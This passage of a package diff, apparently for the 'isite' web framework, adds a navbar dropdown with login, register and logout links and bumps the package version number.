43
+ <i class="fa fa-tasks" aria-hidden="true"></i> <span x-permission="login"> [##user.email##] </span>Control Panel <span class="caret"></span
44
+ ></a>
45
+ <ul class="dropdown-menu">
46
+ <li x-permission="!login">
47
+ <a href="#" data-toggle="modal" data-target="#loginModal"> <i class="fa fa-sign-in" aria-hidden="true"></i> Login </a>
48
+ </li>
49
+ <li x-permission="!login">
50
+ <a href="#" data-toggle="modal" data-target="#registerModal"> <i class="fa fa-user-plus" aria-hidden="true"></i> Register </a>
51
+ </li>
52
+ <li x-permission="login">
53
+ <a href="#" ng-click="logout()"> <i class="fa fa-sign-out" aria-hidden="true"></i> Logout </a>
54
+ </li>
55
+ </ul>
56
+ </li>
57
+ </ul>
58
+ </div>
59
+ <!-- /.navbar-collapse -->
60
+ </div>
61
+ <!-- /.container-fluid -->
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "isite",
3
- "version": "2024.08.16",
3
+ "version": "2024.08.18",
4
4
  "description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
5
5
  "main": "index.js",
6
6
  "repository": {